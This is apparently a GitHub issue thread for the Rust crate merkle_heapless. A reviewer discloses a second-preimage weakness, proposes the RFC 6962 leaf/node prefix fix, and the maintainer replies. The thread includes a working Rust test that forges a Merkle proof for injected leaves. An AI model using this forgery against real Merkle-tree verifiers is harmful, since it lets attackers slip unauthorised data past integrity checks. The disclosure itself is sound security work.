Add protection from length extension attacks

[elv-nate]

This current implementation is vulnerable to a length extension attack, where arbitrary size subtrees can be opaquely inserted into the merkle tree by an attacker with insert access to the tree. A simple fix for this is described in RFC 6962, namely prefixing leaves with 0x00 before hashing and prefixing the list of hashes in a branch with 0x01 before hashing.

Otherwise, a pretty simple attack is possible on your library. Here's a sample exploit where an attacker adds a small subtree containing hi0 and hi1. With the correct imports, you can run this yourself.

use merkle_heapless::proof::Proof;
use merkle_heapless::traits::{ProofBuilder, ProofValidator, StaticTreeTrait};
use merkle_heapless::StaticBinaryTree;
// tree height 1, 2 leaves, 3 total nodes
const MAX_HEIGHT: usize = 1;
const FAKE_MAX_HEIGHT: usize = 2;

use merkle_heapless::traits::HashT;

#[derive(Debug)]
struct Blake2_256Hash;

impl HashT for Blake2_256Hash {
    type Output = [u8; 32];

    fn hash(input: &[u8]) -> Self::Output {
        sp_core::blake2_256(input)
    }
}

#[test]
fn break_it() {
    let fake_0 = Blake2_256Hash::hash(b"hi0");
    let fake_1 = Blake2_256Hash::hash(b"hi1");
    let mut fake_concat = [0u8; 64];
    fake_concat[..32].copy_from_slice(&fake_0);
    fake_concat[32..].copy_from_slice(&fake_1);
    let fc_hash = Blake2_256Hash::hash(&fake_concat);
    // Merkle tree as the creator of the tree sees it
    //
    //             root
    //         apple    (some value)
    //
    //
    //             As the attacker sees it
    //
    //              root
    //          apple    (some value)
    //                   hi0      hi1
    //
    //
    let mut tree =
        StaticBinaryTree::<MAX_HEIGHT, Blake2_256Hash>::try_from(&[b"apple", &fake_concat])
            .unwrap();

    let proof = tree.generate_proof(1);
    let apple_hash = Blake2_256Hash::hash(b"apple");

    let mut alt_proof: Proof<2, 2, Blake2_256Hash> = Proof::from_root(proof.root());
    alt_proof.push(0, &[fake_0, fake_1]);
    alt_proof.push(1, &[apple_hash, fc_hash]);
    assert!(proof.validate(&fake_concat));
    assert!(alt_proof.validate(b"hi0"));
}

[Retamogordo]

@elv-nate Thank you for this great review. Demonstrates how easy it's to fall into a pit doing things without caution and thorough research. As far as I could see from the RFC besides the second pre-image there no other attacks that could affect this kind of data structure ?

[elv-nate]

Other than this one, I don't know of any attacks that can affect this. I do know that there are some common misconceptions around proofs of non-membership with a sorted Merkle tree, but this crate doesn't implement those so it should be fine 👍